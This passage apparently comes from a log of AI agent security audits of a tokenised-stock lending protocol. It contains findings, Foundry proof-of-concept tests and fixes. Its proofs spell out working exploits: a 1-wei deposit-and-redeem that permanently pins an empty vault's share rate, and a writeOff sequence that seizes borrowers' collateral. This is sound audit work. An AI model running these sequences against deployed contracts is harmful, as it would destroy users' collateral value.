testFuzz_oneMissedHeartbeatBeforeMondayIsCovered(uint256)` and `[PASS] test_oneMissedHeartbeatBeforeFridayIsCovered()`. Chain data: cast call 0xa0DF4ee0fFf975306345875E3548Fcc519577A11 'getRoundData(uint80)(uint80,int256,uint256,uint256,uint80)' <2^64 + n> for n = 1..117 against https://rpc.mainnet.chain.robinhood.com (largest gaps: 95.98 h, 77.69 h, then twelve of 71.97-72.98 h, all Friday 00:0x UTC -> Monday 00:00/01:00 UTC).","severity":"low","snippet":"    uint256 internal constant SGOV_MAX_AGE = 2 days + 1 hours;","title":"SGOV max age 49 h does not cover one missed heartbeat before a Monday: the feed prints only Sun-Thu 20:00 New York, so a skipped Sunday print leaves SGOV unpriced for the whole Monday session"},{"citation":"resolved","description":"Q1 / P1 (frozen ... a multiplier step until sync and a later print). After a multiplier step the type unfreezes at the first answer with updatedAt > seenAt, on the assumption that a print after the step re-prices the token at its new multiplier. `sync()` is permissionless, so whoever calls it first after the step takes effect decides which print that is. Chain data for the one step since the feeds went live under this rule's measurement window (SGOV token 0x92FD66527192E3e61d4DDd13322Aa222DE86F9B5, feed 0xa0DF4ee0fFf975306345875E3548Fcc519577A11): block 103816296 (2026-11-02 00:56:40 UTC) uiMultiplier = newUIMultiplier = 1007186931447954063; round 104 (18446744073709551720) 101.14674759 at 01:00:19 UTC; block 103820155 (01:03:20 UTC) newUIMultiplier = 1009470411670283410 scheduled, uiMultiplier still old; round 105 (..721) 101.68678405 at 09:00:58 UTC; block 104096085 (09:01:40 UTC) uiMultiplier = 1009470411670283410 in effect; round 106 101.38616079 on 2026-11-03 09:01 UTC (round 103 was 101.44123802). The step is x1.0022672; round 105, the print AT the step, equals the pre-dividend answer times the new multiplier (101.441 x 1.0022672 = 101.671) and sits 0.30% above the 101.386 the feed settled at one day later: it carried an error the size of the step and stood for 24 h, through the whole 2026-11-02 session (14:30-21:00 UTC). (The README records the mirror image for October: 0.2% low for 24 h.) Under the rule there are two outcomes, by the order of sync() and that print: a sync() landing between the step taking effect and round 105 makes round 105 'printed after sync', and the type is priced 0.30% wrong for the session; a sync() after it freezes SGOV until round 106, a whole session (the known issue). I did not establish which side of 09:00:58 the step took effect (it lies between 01:03:20 and 09:01:40 UTC), so which outcome 11-02 would have produced is open. For a dividend the error is inside the feed's 0.5% band and every buffer. NOT demonstrated, but the same mechanism: for a split-sized step (Robinhood stock tokens carry splits in uiMultiplier) a print pairing one side's price with the other side's multiplier is off by the split factor (x2-x10 over: the type's line is borrowed against air; under: every position is bitten and sold at a fraction), and nothing in `frozen()` compares the post-sync answer with anything. Reachable with the deploy config: yes for the dividend-sized case (SGOV monthly); the split case needs a split on a listed ticker. Smallest change: let the permissionless sync() unfreeze only a step within a small ratio (e.g. |current / seenMultiplier - 1| <= 1%, where the worst error is the step itself); a larger step stays frozen until the governor calls sync (or until two answers at least a heartbeat apart agree within the deviation band).","line":109,"path":"src/feeds/MarketHoursFeed.sol","reproduction":"Against https://rpc.mainnet.chain.robinhood.com (archive): cast call 0x92FD66527192E3e61d4DDd13322Aa222DE86F9B5 'uiMultiplier()(uint256)' and 'newUIMultiplier()(uint256)' at --block 103816296, 103820155 and 104096085 -> (1007186931447954063, 1007186931447954063), (1007186931447954063, 1009470411670283410), (1009470411670283410, 1009470411670283410). cast call 0xa0DF4ee0fFf975306345875E3548Fcc519577A11 'getRoundData(uint80)(uint80,int256,uint256,uint256,uint80)' 18446744073709551719 / ..720 / ..721 / ..722 -> answers 10144123802 (updatedAt 1793318492), 10114674759 (1793581219), 10168678405 (1793610058), 10138616079 (2026-11-03 09:01 UTC). Sequence on this commit: multiplier in effect -> anyone calls MarketHoursFeed.sync() (seenAt = now) -> the aggregator prints round 105 -> frozen() returns false -> from 14:35 UTC (09:35 New York) Pricer.quote('SGOV') is priced at 101.687 while the token's settled value is 101.386. Expected: an answer that prices the type after a step is one consistent with the new multiplier. Actual: any answer with updatedAt > seenAt. No Foundry test: the defect is in which real print the rule accepts; the numbers above are the evidence.","severity":"low","snippet":"        return updatedAt <= seenAt;","title":"MarketHoursFeed trusts the first print after sync(): on 2026-11-02 SGOV's print at its multiplier step was off by the whole step (0.30%) and stood for the session; a split-sized step would be misprice"}],"hash":"4c969ebb9efc3ffc6c8b3b8ef664cd57bacf9d415e6c926e4e1380d9adb3ade6","nodeId":"8325a079-b400-4b87-a7d2-93f6c0115639","outcome":"completed","summary":"The solc re-run I thought I had stopped actually finished: the submitted proof for the first finding fails all three tests under solc 0.8.26 via_ir, as intended. That closes the one verification gap I reported.\n\n```\n[FAIL: the feed rate reaches the vault's rate within a year: 1440251313198 < 500000000000000000] test_capNeverCatchesUp()\n[FAIL: 100 tokens at $100 must be valued at $10,000: 10000000000000000 !~= 10000000000000000000000 (max delta: 1.0000000000000000%, real delta: 99.9999000000000000%)] test_firstDepositThenZeroAssetRedeem()\n[FAIL: 100 tokens at $100 must be valued at $10,000: ... real delta: 99.9999000000000000%)] test_firstMintOfOneShare()\nSuite result: FAILED. 0 passed; 3 failed; 0 skipped\n```\n\nThe third test now gives the same figure under solc as under solar (feed rate 1.44e12 after 365 daily pokes, against a vault rate of 1e18).\n\nThe tree is clean: `test/scratch`, `out` and `cache` are gone, and `.imd-findings.json` holds the three findings (one medium, two low). The SGOV Monday proof was still run under solar only.","treeHash":null,"usage":{"cachedInputTokens":526543,"chain":[{"calls":952,"chainId":4663,"failed":0,"own":822,"public":0,"refused":130}],"cost":{"source":"runtime","usdMicros":9110164},"inputTokens":5,"model":"claude-fable-5-2","outputTokens":785,"runtime":"claude","turns":2,"wallClockMs":1824695}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"a315ee4cb81c640c","findings":[{"citation":"resolved","description":"When totalSupply()==0, StockVault converts at 10^6 shares per asset unit, but mint() rounds the asset input UP (ceil(shares/1e6)) and redeem() rounds the output DOWN with no zero-asset check. So anyone can leave the vault with supply 1 share backed by 1 wei: (a) vault.mint(1, me) costs 1 wei for 1 share, or (b) deposit(1) -> 1e6 shares, then redeem(1e6-1) pays floor((1e6-1)*1/1e6)=0 assets and burns the shares. convertToAssets(1e18) then reads 1e18, not 1e12. The type's price is RateFeed(vault, convertToAssets(1e18)) with rateCap 0.001e18/day (StageChain._stockType, RateFeed.sol:70 `return live < ceiling ? live : ceiling;`), checkpointed at construction at 1e12, so the 1e6x rise is capped: the rate stays ~1e12 and grows only 0.1%/day (ln(1e6)/0.001 ~ 13,800 days to catch up). Every later depositor gets x shares per x wei (ratio now 1:1) and those shares are valued at 1e-6 of their worth: nobody can borrow against the type, and the vault never returns to the 1e6 ratio while that share exists. StageChain._deployStocks seeds no vault, so on 4663 every stock type launches empty; the same applies whenever a vault's positions all leave. Cost: 1 wei and gas per type. Not covered by README's known issue (that one is about a tiny deposit rounding to zero shares after forfeits). Reachable with the deploy config.","line":61,"path":"src/stocks/StockVault.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20Metadata} from \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport {StockVault} from \"src/stocks/StockVault.sol\";\nimport {RateFeed} from \"src/feeds/RateFeed.sol\";\nimport {IFeed} from \"src/interfaces/IFeed.sol\";\n\ncontract PStock is ERC20 {\n    constructor() ERC20(\"SPY\", \"SPY\") {}\n    function mint(address to, uint256 a) external { _mint(to, a); }\n}\n\n/// stands in for the MarketHoursFeed: $100 per token, fresh\ncontract PFeed {\n    function latestValue() external view returns (uint256, uint64) { return (100e18, uint64(block.timestamp)); }\n    function isStale() external pure returns (bool) { return false; }\n    function maxAge() external pure returns (uint256) { return 25 hours; }\n}\n\n/// PROPERTY: a deposit into a stock vault is valued (RateFeed over convertToAssets(1e18)) at what it brought: 1 stock in\n/// is worth ~$100 of collateral. On this commit one caller with 1 wei, acting while the vault is empty (every vault at\n/// deploy; any vault whose positions all left), pins the share/asset ratio to 1:1 instead of 1e6:1; the RateFeed caps the\n/// rate's rise at 0.1%/day, so every later deposit is valued at 1e-6 of its worth for ~38 years.\ncontract ProofVaultRateBrickTest is Test {\n    PStock stock;\n    StockVault vault;\n    RateFeed price;\n    address attacker = makeAddr(\"attacker\");\n    address user = makeAddr(\"user\");\n\n    function setUp() public {\n        stock = new PStock();\n        vault = new StockVault(IERC20Metadata(address(stock)));\n        // as StageChain._stockType: RateFeed(vault, convertToAssets(1e18), passOneE18, feed, rateCap 0.001e18/day)\n        price = new RateFeed(address(vault), bytes4(keccak256(\"convertToAssets(uint256)\")), true, IFeed(address(new PFeed())), uint256(0.001e18) / 1 days);\n        stock.mint(attacker, 1);\n        stock.mint(user, 1e18);\n        vm.prank(attacker);\n        stock.approve(address(vault), type(uint256).max);\n        vm.prank(user);\n        stock.approve(address(vault), type(uint256).max);\n    }\n\n    function _depositAndValue() internal returns (uint256 usd) {\n        vm.prank(user);\n        uint256 shares = vault.deposit(1e18, user);\n        (uint256 v,) = price.latestValue(); // USD per 1e18 shares\n        usd = shares * v / 1e18;\n    }\n\n    function test_mintOneShareBricksTheType() public {\n        vm.prank(attacker);\n        try vault.mint(1, attacker) {} catch {} // 1 share for ceil(1/1e6) = 1 wei (a fixed vault may refuse it)\n        vm.warp(block.timestamp + 30 days);\n        uint256 usd = _depositAndValue();\n        assertApproxEqRel(usd, 100e18, 0.01e18, \"1 stock deposited must be worth ~$100 of collateral\");\n    }\n\n    function test_redeemForZeroBricksTheType() public {\n        vm.startPrank(attacker);\n        try vault.deposit(1, attacker) {} catch {} // 1e6 shares\n        uint256 bal = vault.balanceOf(attacker);\n        if (bal > 1) try vault.redeem(bal - 1, attacker, attacker) {} catch {} // floor((1e6-1)/1e6) = 0 assets\n        vm.stopPrank();\n        uint256 usd = _depositAndValue();\n        assertApproxEqRel(usd, 100e18, 0.01e18, \"1 stock deposited must be worth ~$100 of collateral\");\n    }\n}","reproduction":"Empty vault, RateFeed built as in StageChain. Attacker: vault.mint(1, attacker) (pays 1 wei). 30 days later a user deposits 1e18 stock (1 SPY at $100): gets 1e18 shares, RateFeed.latestValue = 1.03e14 per 1e18 shares -> collateral worth $0.000103 instead of $100. Variant: deposit(1) then redeem(999_999) -> collateral worth $0.0001. Run: forge test --match-path 'test/unit/ProofVaultRateBrick.t.sol' -> [FAIL: 1 stock deposited must be worth ~$100 of collateral: 102999999999900 !~= 100000000000000000000 ...] test_mintOneShareBricksTheType(); [FAIL: ... 100000000000000 !~= 100000000000000000000 ...] test_redeemForZeroBricksTheType(). Expected: ~$100. Fix (smallest, in StockVault): a minimum live size: refuse a deposit/mint into an empty vault below MIN_ASSETS (e.g. 1e12 wei = 1e-6 token) and refuse a withdraw/redeem that leaves 0 < managedAssets < MIN_ASSETS or pays 0 assets for >0 shares; at >= 1e12 wei of assets one rounding step moves the rate < 1e-12. Optionally the deploy seeds each vault with a dead deposit. (Rounding-only variants such as deposit(2) then redeem(1.5e6) still skew the rate 2x without the minimum.)","severity":"high","snippet":"        if (supply == 0) return Math.mulDiv(shares, 1, 10 ** _decimalsOffset(), rounding);","title":"An empty StockVault can be pinned to a 1:1 share/asset ratio for 1 wei; the capped RateFeed then values every later deposit at 1e-6 of its worth (every 4663 stock type is empty at deploy)"},{"citation":"resolved","description":"writeOff promises 'two readings >= WRITEOFF_DELAY apart ... A reissue inside the delay writes nothing off'. The record `worthlessSince[ilk]` is cleared only by a writeOff CALL that sees the custody worth something (line 222-226); a reissue itself clears nothing, and nothing checks that the custody stayed worthless between the two readings. So after one burn that anyone armed (the issuer's burn-then-reissue for a migration or corporate action, which the doc names as the expected pattern), a second full adminBurn of the vault within WRITEOFF_WINDOW (7 days) lets a searcher write off every position of the type in the block of the burn, before the issuer's reissue lands. Each position's shares go to the Treasury and its debt becomes bad debt; when the issuer reissues, the Treasury holds that value and the borrower has lost its equity (collateral minus debt). Nobody has a reason to send the clearing call; the keeper 'writes off after 1 h' but nothing says it clears. Reachable with the deploy config (any stock type; the issuer burns, a searcher orders around it).","line":227,"path":"src/LedgerSettlement.sol","reproduction":"alice: 100 SPY ($10,000) against 6,000 imdUSD. issuer adminBurn(vault,100e18); searcher writeOff(id) (arms); +10 min issuer reissues 100e18 to the vault (nobody calls writeOff); +2 h issuer adminBurn(vault,100e18) again; searcher writeOff(id) in the same block -> succeeds; issuer reissues. Expected: debtOf(id)=6000e18 (custody worthless for 0 s); actual: 0, alice's collateral is the Treasury's and 6,000 is bad debt (alice loses $4,000 of equity). test/unit/ProofWriteOffStickyZero.t.sol (uses test/utils/StockSystem):\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {StockSystem} from \"../utils/StockSystem.sol\";\nimport {_pid} from \"../utils/Pid.sol\";\n\n/// PROPERTY (LedgerSettlement.writeOff doc): \"A reissue inside the delay writes nothing off\": a position is written off\n/// only when its custody has been worthless for WRITEOFF_DELAY (1 h). On this commit the arming record survives a reissue\n/// that nobody reports, so a LATER full burn (a second burn-then-reissue within 7 days) is written off in the same block.\ncontract ProofWriteOffStickyZeroTest is StockSystem {\n    address alice = makeAddr(\"alice\");\n    address searcher = makeAddr(\"searcher\");\n    uint256 id;\n\n    function setUp() public {\n        _deployStocks(100_000e18, 50_000e18);\n        _open(alice, 100e18, 6_000e18); // $10,000 of stock against 6,000 imdUSD\n        id = _pid(STK, alice);\n    }\n\n    function test_secondBurnWrittenOffAtOnce() public {\n        // corporate action 1: burn the custody, reissue it 10 minutes later\n        stock.adminBurn(address(vault), 100e18);\n        vm.prank(searcher);\n        ledger.writeOff(id); // arms\n        vm.warp(block.timestamp + 10 minutes);\n        stock.mint(address(vault), 100e18); // reissued: custody worth $10,000 again; nobody calls writeOff to clear\n        assertGt(vault.convertToAssets(1e18), 0);\n\n        // corporate action 2, two hours later: burn, then reissue in the next transaction\n        vm.warp(block.timestamp + 2 hours);\n        stock.adminBurn(address(vault), 100e18);\n        vm.prank(searcher);\n        try ledger.writeOff(id) {} catch {} // must not seize: the custody has been worthless for 0 seconds\n        stock.mint(address(vault), 100e18);\n\n        assertEq(ledger.debtOf(id), 6_000e18, \"alice's position must survive a burn reissued at once\");\n    }\n}\n\nOutput of forge test --match-path 'test/unit/ProofWriteOffStickyZero.t.sol':\n[FAIL: alice's position must survive a burn reissued at once: 0 != 6000000000000000000000] test_secondBurnWrittenOffAtOnce() (gas: 657568)\nFix (smallest): make the record a chain of readings, not two isolated ones: store the last worthless reading too and re-arm (set worthlessSince = now) when the previous worthless reading is older than a short step (e.g. 15 min, inside the keeper's cadence), so a seizure needs worthless readings at most 15 min apart spanning WRITEOFF_DELAY; two burns hours apart can never pair. A reissue can then hide at most one 15-min step.","severity":"medium","snippet":"        if (since == 0 || block.timestamp > since + WRITEOFF_WINDOW) {","title":"writeOff's sticky zero survives an unreported reissue: a later full burn (burn-then-reissue within 7 days) is written off in the same block, seizing borrowers' collateral"}],"hash":"89d08a390a5c44d7088a3a126e03398475ea485bc34e5505a956395ba4581688","nodeId":"52523c75-0e09-4d96-892c-c558dba14b81","outcome":"completed","summary":"I found two defects and recorded both, with reproductions, in `.imd-findings.json`: one high and one medium. I wrote a proof test for each, ran it, saw it fail on this commit for the stated reason, then deleted it. The required stock test suite did not run: solc was killed (SIGKILL, out of memory) while compiling the 9 test files together. So I confirmed my two proofs with solc, but none of the existing suite and none of the fork tests. Fuzzing was limited to fixed inputs; no fuzz or invariant campaigns ran.\n\n## Findings\n\n**H-1: anyone can permanently break an empty StockVault's pricing for 1 wei.** `src/stocks/StockVault.sol:61`\n```solidity\n        if (supply == 0) return Math.mulDiv(shares, 1, 10 ** _decimalsOffset(), rounding);\n```\n- **Cause:** in an empty vault, `mint(1)` costs `ceil(1/1e6)` = 1 wei for 1 share. Separately, `deposit(1)` followed by `redeem(1e6-1)` pays 0 assets and burns the shares. Either way the vault ends with 1 share backed by 1 wei, a 1:1 ratio instead of 1e6:1, so `convertToAssets(1e18)` reads 1e18 instead of 1e12.\n- **Why it sticks:** the type's price is a `RateFeed` capped at 0.1% growth per day (`return live < ceiling ? live : ceiling;`). It keeps the rate near 1e12 for about 38 years. Every later deposit is valued at a millionth of its worth, so nobody can borrow against the type.\n- **Reachability:** `StageChain._deployStocks` puts nothing in any vault, so all 9 stock types on 4663 launch empty. Any vault whose positions all leave is exposed again.\n- **Test output:**\n```\n[FAIL: 1 stock deposited must be worth ~$100 of collateral: 102999999999900 !~= 100000000000000000000 (... real delta: 99.9998970000000001%)] test_mintOneShareBricksTheType()\n[FAIL: 1 stock deposited must be worth ~$100 of collateral: 100000000000000 !~= 100000000000000000000 (... real delta: 99.9999000000000000%)] test_redeemForZeroBricksTheType()\n```\n- **Smallest fix:** a minimum vault size. Refuse a first deposit or mint below about 1e12 wei, and refuse a withdraw or redeem that leaves between 0 and that minimum, or pays 0 assets for some shares. Optionally the deploy also seeds each vault with a deposit nobody can withdraw.\n- **Proof:** the self-contained proof is in the JSON.\n\n**M-1: writeOff can seize positions the moment a second full burn lands.** `src/LedgerSettlement.sol:227`\n```solidity\n        if (since == 0 || block.timestamp > since + WRITEOFF_WINDOW) {\n```\n- **Cause:** only a `writeOff` call that sees value clears the worthless record; a reissue does not. Nothing checks that the custody stayed worthless between the two readings.\n- **Sequence:** the issuer burns all the custody, a searcher arms the record, and the issuer reissues 10 minutes later. 2 hours later the issuer does a second burn-then-reissue. The searcher calls `writeOff` in the same block as the burn and it succeeds.\n- **Expected vs actual:** a reissue inside the delay should write nothing off, so the debt should stay 6,000. Instead it reads 0. Alice's $10,000 of collateral goes to the Treasury and her 6,000 debt becomes bad debt, so she loses $4,000 of equity.\n- **Test output:**\n```\n[FAIL: alice's position must survive a burn reissued at once: 0 != 6000000000000000000000] test_secondBurnWrittenOffAtOnce() (gas: 657568)\n```\n- **Smallest fix:** re-arm the record when the previous worthless reading is more than about 15 minutes old. A seizure then needs a chain of close readings spanning the hour.\n\n## Answers\n\n1. **P1, P6 (prices and calendar):** I found no mispricing. I checked:\n   - **Session:** the session never crosses UTC midnight, the open uses a strict `at < open`, and the daylight-saving rule is correct.\n   - **Holidays:** all 21 closed days and 5 early-close days for 2026–2028 match NYSE, including holidays moved to a Friday or Monday and New Year 2028 not being observed.\n   - **Calendar acts:** a timelocked change is checked again when it applies and refuses today and past days. `closeDay` only sets CLOSED, from today to 3 days ahead.\n   - **Mul","treeHash":null,"usage":{"cachedInputTokens":3349252,"cost":{"source":"runtime","usdMicros":2542094},"inputTokens":76,"model":"claude-opus-5-5","outputTokens":41695,"runtime":"claude","turns":41,"wallClockMs":1227984}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"4be5e039e1c77ce3","findings":[{"citation":"resolved","description":"C2 is refuted (P2: the first deposit / the empty-vault restart). With the virtual offset removed (wave 5), a redeem whose shares round to 0 stock still burns the shares (OZ ERC4626.redeem -> _withdraw(assets = 0, shares)), and nothing but the caller's own rounding keeps supply = 10^6 x assets. The sole holder of a vault (always available on an EMPTY vault: at genesis, and again whenever a vault empties) does: deposit(1) -> 1,000,000 shares, managedAssets = 1; redeem(999,999) -> floor(999,999 x 1 / 1,000,000) = 0 stock, 999,999 shares burned. Now totalSupply = 1, totalAssets = 1: convertToAssets(1e18) = 1e18, 10^6 x the 1e12 the type's RateFeed took as checkpointRate and highRate at construction (script/deploy/StageChain.sol:110 builds it over the empty vault, cap = RobinhoodConfig.CAP = 0.1%/day). RateFeed.rate() = min(live, max(checkpoint grown at the cap, highRate)) stays ~1e12, while the vault mints every later depositor at the live rate: 100e18 stock -> 100e18 shares (not 100e24), valued shares x 1e12 x price / 1e36 = 10^-6 of the stock. Nothing brings the rate back: honest deposits keep the ratio exactly, donations are uncounted, only the attacker redeeming his last share-wei resets it, and the cap needs ~38 years to grow 10^6 x. Impact: for 1 wei of stock and two calls, anyone makes a stock type unusable for good (no borrow against it; $10,000 of stock counts as $0.01); all nine RobinhoodConfig types can be hit between the deploy transactions and the first real deposit, and a replacement type (new vault, 48 h) can be hit the same way. Stock already deposited is not lost (it redeems 1:1), and existing positions prevent it while the vault is non-empty, so this is a launch/empty-vault denial, not theft. An intermediate pin also works (leave k share-wei: any rate multiple up to 10^6), e.g. 2 x: later deposits valued at 50%. Reachable with the deploy config: yes (StockVault is ownerless and permissionless, DeployRobinhood/StageChain make no seeding deposit; RateFeed cap 0.1%/day). Smallest fix: never burn shares for less stock than they are worth: in StockVault override redeem (or _withdraw) so the shares burned are previewWithdraw(assets) = ceil(assets x supply / totalAssets) for the assets actually paid (redeem(999,999) at 1 wei burns nothing; a partial redeem burns exactly the units' worth), keeping supply = 10^6 x assets under every rounding; or make the deploy seed each vault with a permanent deposit in the transaction that creates it. The second alone leaves the ratio movable whenever the seed is the only holder, so the first is the fix.","line":62,"path":"src/stocks/StockVault.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20Metadata} from \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport {StockVault} from \"src/stocks/StockVault.sol\";\nimport {RateFeed} from \"src/feeds/RateFeed.sol\";\nimport {IFeed} from \"src/interfaces/IFeed.sol\";\n\ncontract PinStock is ERC20(\"Stock\", \"STK\") {\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// @dev Stands in for the type's MarketHoursFeed: $100 per whole token, fresh.\ncontract PinUnderlying {\n    function latestValue() external view returns (uint256, uint64) {\n        return (100e18, uint64(block.timestamp));\n    }\n\n    function isStale() external pure returns (bool) {\n        return false;\n    }\n\n    function maxAge() external pure returns (uint256) {\n        return 25 hours;\n    }\n}\n\n/// The stock type exactly as script/deploy/StageChain.sol builds it: an empty StockVault, then a RateFeed over\n/// `convertToAssets(1e18)` with the growth cap (0.1% a day). Collateral = vault shares; value = shares x RateFeed / 1e18.\n/// One wei from anyone before the first deposit: deposit(1) mints 10^6 shares, redeem(999,999) burns them for 0 stock, and\n/// the one share-wei left claims the one stock-wei. The vault's rate is 10^6 x the rate the RateFeed was built at, the cap\n/// holds the feed at the old rate, and every later deposit is minted at the new rate and valued at the old one.\ncontract ProofEmptyVaultPinMinTest is Test {\n    PinStock stock;\n    StockVault vault;\n    RateFeed feed;\n    address alice = makeAddr(\"alice\");\n    address eve = makeAddr(\"eve\");\n\n    function setUp() public {\n        stock = new PinStock();\n        vault = new StockVault(IERC20Metadata(address(stock)));\n        feed = new RateFeed(\n            address(vault),\n            bytes4(keccak256(\"convertToAssets(uint256)\")),\n            true,\n            IFeed(address(new PinUnderlying())),\n            uint256(0.001e18) / 1 days\n        );\n    }\n\n    function _pin() internal {\n        stock.mint(eve, 1);\n        vm.startPrank(eve);\n        stock.approve(address(vault), 1);\n        vault.deposit(1, eve); // 10^6 shares for 1 wei\n        vault.redeem(999_999, eve, eve); // 999,999 shares burned for 0 stock\n        vm.stopPrank();\n    }\n\n    /// @dev Alice deposits 100 tokens ($10,000): what the Ledger would count them as (units x price / 1e18).\n    function _depositValue() internal returns (uint256 value) {\n        stock.mint(alice, 100e18);\n        vm.startPrank(alice);\n        stock.approve(address(vault), 100e18);\n        uint256 units = vault.deposit(100e18, alice);\n        vm.stopPrank();\n        (uint256 perUnit,) = feed.latestValue();\n        value = units * perUnit / 1e18;\n        emit log_named_uint(\"vault.convertToAssets(1e18)\", vault.convertToAssets(1e18));\n        emit log_named_uint(\"RateFeed.rate() (capped)   \", feed.rate());\n        emit log_named_decimal_uint(\"$10,000 of stock valued at \", value, 18);\n    }\n\n    function test_control_noAttacker() public {\n        assertApproxEqRel(_depositValue(), 10_000e18, 0.001e18);\n    }\n\n    function test_oneWeiPinsTheEmptyVault() public {\n        _pin();\n        assertApproxEqRel(_depositValue(), 10_000e18, 0.001e18, \"the deposit is not valued at its worth\");\n    }\n\n    function test_stillPinnedAYearLater() public {\n        _pin();\n        vm.warp(block.timestamp + 365 days);\n        assertApproxEqRel(_depositValue(), 10_000e18, 0.001e18, \"a year of capped growth later it still is not\");\n    }\n}","reproduction":"State: any freshly deployed (or emptied) StockVault with its RateFeed (cap 0.1%/day), as StageChain builds it. Calls (eve, holding 1 wei of the stock): stock.approve(vault, 1); vault.deposit(1, eve); vault.redeem(999_999, eve, eve). Then alice deposits 100e18 stock ($100 each). Expected: 100e24 shares valued $10,000 (the control test: passes). Actual: vault.convertToAssets(1e18) = 1e18, RateFeed.rate() = 1e12, alice gets 100e18 shares valued 0.010000 USD; 365 days later 0.013650 USD. Run on this commit with solc 0.8.26 via_ir: `forge test --match-path 'test/scratch/ProofEmptyVaultPinMin.t.sol' -vv` -> [PASS] test_control_noAttacker(); [FAIL: the deposit is not valued at its worth: 10000000000000000 !~= 10000000000000000000000 (max delta: 0.1000000000000000%, real delta: 99.9999000000000000%)] test_oneWeiPinsTheEmptyVault(); [FAIL: a year of capped growth later it still is not: 13649999999970000 !~= 10000000000000000000000] test_stillPinnedAYearLater(). The same through the whole core (test/utils/StockSystem.sol, Ledger.open with 100e18 stock after the two calls; run with --use solar): position collateral = 100000000000000000000 units, units x Pricer.quote(STK).low / 1e18 = 0.01 USD against 10,000 USD in the control, and 0.01364 USD after 364 days.","severity":"high","snippet":"        return Math.mulDiv(shares, totalAssets(), supply, rounding);","title":"StockVault: 1 wei pins an empty vault at 10^6 x its share rate (redeem burns 999,999 shares for 0 stock); the RateFeed growth cap then values every later deposit at 10^-6 of its worth - each stock typ"},{"citation":"resolved","description":"The staged launch keeps a recorded calendar when `_calendarIs` holds, and that check only reads the days RobinhoodConfig lists (closed -> CLOSED, early -> EARLY_CLOSE) plus the governor. A day the config does not list is never read, so a recorded calendar seeded from another list (an earlier config revision, a rehearsal) that marks an extra weekday CLOSED or EARLY_CLOSE is adopted as 'the wiring this config builds'. Every MarketHoursFeed of the nine types is then built over it and is unpriced on that day (or after 13:00 New York on it): no liquidation, no new debt, auctions stopped for a session, until the Safe repairs it through the 48 h timelock. The one-run deploy (DeployRobinhood, fresh record) always constructs the calendar from the config, so the two paths C6 compares can end with different calendars. Not reachable from DeployRobinhood; reachable on the staged path only with a stale recorded calendar. Smallest fix: make the seed checkable, e.g. MarketCalendar stores keccak256(abi.encode(closed, early)) of its constructor lists (immutable) and `_calendarIs` compares it with the config's, or the stage compares the recorded creation transaction's arguments.","line":152,"path":"script/deploy/StageChain.sol","reproduction":"State: Deployed.calendar = a MarketCalendar constructed with governor = cfg.governor, closed = RobinhoodConfig's closedDays plus one more weekday D (for instance 20801, Mon 2026-12-14), early = RobinhoodConfig's earlyDays. Call StageChain._deployStocks(cfg, d, me). Expected: Mismatch(\"MarketCalendar\") or a fresh calendar (dayStatus(D) == OPEN, as DeployRobinhood builds). Actual: _calendarIs returns true (it never reads dayStatus(D)), the recorded calendar is kept, and calendar.isOpen(ts) is false for every ts on day D, so every stock type reads stale for that session. Read from the code (lines 149-155); not run as a test.","severity":"low","snippet":"        for (uint256 i; i < s.closedDays.length; ++i) if (c.dayStatus(s.closedDays[i]) != c.CLOSED()) return false;","title":"StageChain resume: _calendarIs accepts a recorded MarketCalendar that carries days the config does not list (P5: not exactly the configured graph)"}],"hash":"f4fe1cc2cefafd80296167e857f224230de0ce3715677d43c0b835be2d78a011","nodeId":"3438e319-027b-4552-8dd0-a1995a73f8d4","outcome":"completed","summary":"The review is written to `.imd-findings.json` with two findings: one high (with a proof that fails on this commit under solc 0.8.26 via_ir) and one low (read from the code, not run). Coverage is partial: the stock vault, auction clock, feeds, calendar, Pulse and Liquidator were read in depth; the Ledger grace paths and the deploy were checked by targeted reads and greps, not line by line.\n\n## Findings\n\n**High — 1 wei bricks an empty `StockVault`** (`src/stocks/StockVault.sol:62`). This refutes C2.\n- **Sequence:** on an empty vault, `deposit(1)` mints 10^6 shares; `redeem(999_999)` burns them for 0 stock. One share-wei now claims one stock-wei, so the vault's rate is 10^6 × what the type's `RateFeed` was built at.\n- **Effect:** the 0.1%/day growth cap holds the feed at the old rate, while later deposits are minted at the new one. $10,000 of stock is valued at $0.01, and at $0.0136 a year later.\n- **Reach:** anyone, for 1 wei and two calls, on every one of the nine types between the deploy and the first real deposit, and again on any vault that empties. No stock is lost (it redeems 1:1); this is a permanent denial of the type, not theft.\n- **Smallest fix:** burn only `previewWithdraw(assets)` shares for the stock actually paid, so a redeem that rounds to zero burns nothing.\n- **Proof:** self-contained test (vault + `RateFeed` + in-file mocks); the control passes, the two attack tests fail. The same result holds through the full core via `Ledger.open`, run with `--use solar` only.\n\n**Low — the staged resume can adopt a calendar with extra days** (`script/deploy/StageChain.sol:152`). `_calendarIs` reads only the days the config lists, so a recorded calendar with an extra closed weekday is kept and every stock type is unpriced that session. `DeployRobinhood` always builds a fresh calendar, so the two paths in C6 can differ here.\n\n## Answers to the numbered questions\n\n1. **(P1, P6) No defect found.** The session rule, DST, early closes, `closeDay` (close only, today to +3) and the timelocked change (future weekdays only) read as stated. I did not fuzz timestamps. One thing the code cannot see: `at >= open` is the transmit time, so a report observed seconds before 09:30 that lands just after counts as an in-session print.\n2. **(P2) The high finding above.** Donations, the impaired guard, the empty-vault restart and writeOff-then-reissue read as documented; without the zero-asset burn, rounding alone cannot lift the rate above one stock-wei per share-wei. No invariant suite was run.\n3. **(P3, P4) No defect found, with limits.**\n   - **Gas-starved tick (C3):** I scanned `tick` at every gas value in a 30,000-gas window below the first full success, cold and with the auction slots pre-warmed by an access list. No value let a tick succeed while erasing time. This is on the repo's mocks with the fast compiler; the real 4663 tokens and feeds cost more gas per read, which widens the margin an attacker has, so it is unverified there.\n   - **Clock bound:** the read-forward clock keeps \"at most 